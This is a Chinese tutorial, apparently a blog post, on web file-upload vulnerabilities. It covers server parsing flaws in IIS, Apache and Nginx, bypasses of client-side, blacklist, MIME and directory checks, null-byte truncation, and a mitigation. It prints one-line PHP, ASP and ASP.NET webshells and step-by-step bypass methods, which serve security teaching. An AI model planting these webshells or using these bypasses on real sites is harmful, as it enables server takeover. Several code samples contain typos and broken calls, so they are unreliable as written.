上传漏洞

解析漏洞: 攻击者利用上传漏洞时,通常与web容器的解析漏洞配合在一起。常见的web容器有IIS、Nginx、Apache、Tomcat等。

IIS解析漏洞

IIS6.0在解析文件时存在以下两个解析漏洞

1. 当建立*.asa,*.asp格式的文件夹,其目录下的任意文件都将被IIS当作asp文件解析

例如,建立文件夹parsing.asp,在里面新建一个test.txt。其内容为 <%=NOW()%>。其内容被IIS当作asp脚本来解析。

2. 当文件为*.asp;1.jpg时。同样会以asp脚本执行。

WebDav是一种基于HTTP 1.1协议的通信协议。它扩展了HTTP协议,在GET,POST,HEAD等几个方法以外添加了一些新的方法。

在开启WebDav扩展的服务器后,如果支持PUT、Mover、Delete等方法,就可能存在一些安全隐患。攻击者可能通过PUT方法向服务器上传危险脚本,甚至删除服务器上的任意文件

Apache解析漏洞

在Apache1.x和2.x中存在漏洞。

www.xxser.com/1.php.rar

上述的文件名为1.php.rar,本应弹出下载文件的提示,但却显示了phpinfo()的内容。这就是apache的解析漏洞。

1.php.rar内容如下

<?php
	phpinfo();
?>

apache在解析文件有一个原则:当碰到不认识的扩展名时,从后向前解析,知道碰到认识的扩展名为止。如果都不认识,会暴漏源码。

在apache安装目录下"/conf/mime.types"中有详细的扩展名列表

PHP CGI解析漏洞

Nginx是一款高性能的Web服务器,通常作为PHP的解析容器。它曾被爆出两个解析漏洞

http://www.xxser.com/1.jpg/1.php

此时的1.jpg会被当作PHP脚本来解析

此时的1.php是不存在的,但1.jpg却按照php脚本解析了。问题就在这个"1.php"中(1.php不是特定的,可以随意命名),这就意味着攻击者可以上传图片木马,然后在url加上/xxx.php就可以获得网站的Webshell。

绕过上传漏洞

程序员在防止上传漏洞时可以分为两种

1. 客户端检测: 客户端使用JavaScript检测,在文件未上传时,就对文件进行验证

2. 服务器端检测: 服务端脚本一般会检测文件的MIME类型,检测文件扩展名是否合法,甚至是否嵌入恶意代码等

"中国菜刀"。仅需要一段简短的代码便可以管理网站。目前支持的服务器端脚本包括: php、ASP、ASP.NET、JSP等,并且支持HTPTPS安全连接的网站

PHP: <?php @eval($_POST['mima']);?>
ASP: <%eval request("mima")%>
ASP.NET <%@ Page Language="Jscript"%><%eval(Request.Item["mima"],"unsafe");%>

"图片一句话"是将一句话插入在图片里面。例如: Edjpgcom这个软件只需要将图片拖入程序中,在填写一句话,就可以制作图片一句话木马。

1. 客户端检测

很多程序员仅通过JavaScript拒绝非法上传,是十分低级的验证

例入下列代码对文件扩展名进行验证,如果不是白名单中的扩展名将不会提交到服务器

<html>
<head>
<title>图片上传</title>
<script type="text/javascript">
	function checkFile() {
		var flag=false;                                  //是否可以上传的标志位
		var str=document.getElementById("file").value;   //获取文件名
		str=str.substring(str.lastIndexOf('.')+1);    	 //得到扩展名
		var arr=new Array('png','bmp','gif','jpg');		 //允许上传的扩展名
		for(var i=0;i<arr.length;i++) {
			if(str==arr[i]) {
				flag=true; 								 //判断文件名是否合法
			}
		}
		if(!flag) {
			alert('文件不合法');
		}
		return flag;
	}
</script>
</head>
<body>

		<from action="upload.php" method="post" οnsubmit="checkFile" enctype="multipart/form-data">
			<input type="file" name="file" id="file" /><br/>
			<input type="submit" value="提交" name="submit" />
		</form>
</body>
</html>		
upload.php用来接收文件,在接受文件后,将文件重命名放到本目录下。
<?php
	if(isset($_POST["submit"])) {
		$name= $_FILES['file']['name'];                       //接收文件名
		$name=md5(data('Y-m-d h:m:s')).strrchr($name,".");    //文件名重命名操作,保留原有扩展名
		$size=$_FILES['files']['size'];                       //接收文件大小
		$tmp=$_FILES['file']['tmp_name'];                     //临时路径
		move_upload_file($tmp,$name);                         //移动临时文件到当前文件目录
		echo "文件上传成功 path:".$name;
	}	
?>

针对客户端验证有非常多的绕过方式

(1). 使用FireBug

当单机"提交"按钮后,Form将出发onsubmit事件,它将会调用checkFile函数。这个函数将会检测文件扩展名是否合法,并返回一个布尔值。

我们可以使用FireBug直接将onsubmint事件删除,就可以绕过。

在没有FireBug前,攻击者通常会在本地构造一个表单

<form action="http://www.xxser.com/upload.php" method="post" enctype="multipart/form-data">
	<input type="file" name="file" id="file" /><br/>
	<input type="submit" value="提交" name="submit" />
</form>

(2). 中间人攻击

这种方式与FireBug完全不同,它是使用Burp按照正常的流程通过JavaScript验证,然后在传输中的HTTP层做手脚。

首先把木马文件扩展名改为一张正常的图片的扩展名。在上传时使用Burp拦截数据,将其中的扩展名改为php。就可以绕过客户端验证。

这里需要注意: 在HTTP协议中有请求头Content-Length,代表实体正文长度,而修改filename意为着实体长度的改变。

如: Content-Length长度为200.把文件中的filename="xxser.jpg"修改为"1.php",实体正文少了4个字符。所以需要把Content-Length改为196。

2. 服务器端检测

主要包含一下几点: 白名单、黑名单扩展名过滤,文件类型检测,文件重命名等操作。

(1). 白名单与黑名单验证

黑名单过滤方式

它是一种不安全的方式,黑名单定义了一系列不安全的扩展名。

<?php
	$Blacklist=array('asp','php','jsp','php5','asa','aspx');   //黑名单
	if(isset($_POST["submit"])) {
	$name= $_FILES['file']['name'];                            //接收文件名
	$extension=substr(strrchr($name,"."),1);                   //得到扩展名
	$boo=false;
	foreach($Blacklist as $key => $values) {
		if($value==$extension) {
			$boo=true;
			break;
		}
	}
	if(!boo) {                                                 //如果没有命中,则开始上传
		$size=$_FILES['file']['size'];                         //接收文件大小
		$tmp=$_FILES['file']['tmp_name'];                      //临时路径
		move_upload_file($tmp,$name);                          //移动临时文件到当前文件目录
		echo "文件上传成功<br/> path:" .$name;
	} else {
		echo "文件不合法";
		}
	}	
?>
通过上述代码可以看到,如果上传文件为asp,php,jsp.php5,asa,aspx,将不再保存文件。但实际效果没有那么好,攻击者可以使用很多方法绕过黑名单检测
1. 可以从黑名单中找到Web开发人员忽略的扩展名,如: cer
2. 在Upload.php中并没有对接受的文件扩展名进行大小写转换操作,那就意为着可以上传php、asp这样的扩展名,而此类扩展名在Windows平台依然会被Web容器解析

3. 在win系统下,如果文件名是以"."或者空格结尾,系统会自动去除"."与空格,利用这个可以绕过黑名单验证,如: 上传"asp." or "asp "的扩展名程序。

白名单过滤方式

白名单的过滤方式与黑名单相反,比黑名单拥有更好的防御机制。

<?php
	$WhiteList=array('rar','jpg','png','bmp','gif','jpg','doc');   //白名单
	if(isset($_POST["submit"])) {
		$name= $_FILES['file']['name'];                            //接收文件名
		$extension=substr(strrchr($name,"."),1);                   //得到扩展名
		$boo=false;
		foreach($$WhiteList as $key => $value) {
			if($value==$extension) {
				$boo=true;
			}
		}
	if($boo) {
		$size=$_FILES['file']['size'];                            //接收文件大小
		$tmp=$_FILES['file']['tmp_name'];                         //临时文件大小
		move_upload_file($tmp,$name);                             //移动临时文件到当前文件目录
		echo "文件上传成功<br/> path:".$name;
	} else {
		echo "文件不合法";
		}
	}	
?>	

白名单仅仅是防御上传漏洞的第一步。白名单并不能完全防御上传漏洞,就像前面说的IIS解析漏洞一样,可以顺利通过验证。

(2). MIME验证

MIME类型用来设定某种扩展名文件的打开方式,当具有该扩展名的文件被访问时,浏览器会自动使用指定的应用程序打开。如:gif图片MIME为 image/gif,CSS文件MIME类型为text/css。

上传时,开发人员会对文件MIME类型做验证

if($_FILES['file']['type']=="img/jpeg") {  //判断是否时JPG格式
	$imageTempName=$_FILES['file']['tmp_name'];
	$imageName=$_FILES['file']['name'];
	$last=substr($imageName,strrpos($imageName,"."));
	if(!is_dir("uploadFile")) {
		mkdir("uploadFile");
	}
	$imageName=md5($imageName).$last;
	move_upload_file($imageTempName,"./uploadFile/".$imageName); //指定上传文件到uploadFile目录
	echo("文件上传成功 path=/upload/$imageName");
	} else {
		echo("文件类型错误,请重新上传");
		exit();
	}

上传php文件时,并使用Burp拦截查看MIME类型,更改Content-Type即可通过验证。

(3). 目录验证

在文件上传时,程序允许用户将文件放到指定的目录中,而有些开发人员通常会做一个操作,如果目录存在,就将目录写入,不存在则先建立目录,再写入

<form action="upload.php" method="post" enctype="multipart/form-data">
	<input type="file" name="file" /><br/>
	<input type="hidden" name="Extension" value="up" />
	<input type="submit" value="提交" name="submit" />
</form>

PHP Code:
if($_FILES['file']['type']=="image/jpeg") {
	$imageTempName=$_FILES['file']['tmp_name'];
	$imageName=$_FILES['file']['name'];
	$last=substr($imageName,strrpos($imageName,".")); //获取扩展名
	if($last!=".jpg") {
	exit("图片类型错误");
	}
	$Extension=$_POST['Extension'];                  //获取文件上传目录
	if(!is_dir($Extension)) {                        //如果文件不存在,就建立
		mkdir($Extension)
	}
	$imageName=md5($imageName).$last;
	move_upload_file($imageTempName,"./$Extension/".$imageName);
	echo("文件上传成功 path=/$Extension/$imageName");
	} else("文件类型错误,请重新上传");
	exit();
}
在Upload.php中有一下代码
if(!is_dir($Extension)) {
		mkdir($Extension);
}
这段代码是引发漏洞的关键点,因为HTML中有一个隐藏标签<input type="hidden" name="Extension" value="up" />这是文件上传默认的文件夹,而我们可以更改此参数: 使用FireBug将Value值改为pentest.asp,并提交上传一句话图片木马文件

程序在接受文件后,对目录判断,如果服务器不存在pentest.asp目录,如果Web容器为IIS6.0,那么网页木马被解析。

(4). 截断上传攻击

截断上传攻击在ASP程序中最常见,下列是一段简单的ASP代码:

<%
	username=request("username")
	Response.wrtie username
%>

这两句代码非常简单,接收username值,输出。

访问 url:http://www.xxser.com:801/test.asp?username=xxser%00admin 

结果只输出"xxser",%00将后面的字符都截断了

可以使用Burp拦截请求

将文件上传名称改为"1.asp(空格)xxser.jpg",单机hex选项卡进入十六进制编辑模式,将文件名中空格的十六进制20改为00.单机GO,可以发现最终的文件为1.asp,后面的字符已经被截断。

修复上传漏洞

上传漏洞最终的形成原因有以下两点:

目录过滤不严,攻击者可以建立畸形目录

文件未重命名,攻击者可能利用Web容器解析漏洞

如果把握这两点风险就会大大降低

<?php
	if(!isset($_POST['submit'])) {
		exit();
	}
	$arr=Array('jpg','gif','jpeg','png','rar','zip','doc','docx');    //白名单
	$imageTempName=$_FILES['file']['tmp_name'];                       //接收临时文件路径
	$imageName=$_FILES['file']['name'];                               //接收文件名称
	$last=strtolower(substr($imageName,strrpos($imageName,".")+1));   //取得扩展名,转换为小写
	if(!in_array($last,$arr)) {
		exit("不支持上传的扩展名.$last");
	}
	$Extension=$_POST['Extension'];                                   //获得文件上传目录
	$imageName=md5($imageName).".".$last;                             //对文件重命名
	move_upload_file($imageTempName,"./$Extension/".$imageName);
	echo("文件上传成功 path=/$Extension/$imageName");
?>
上述代码基本可以解决上传漏洞,但不能完全防御。比如Web容器为Apache,并不能识别RAR格式,那么就可以上传"正常文件",配合Apache解析漏洞入侵。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值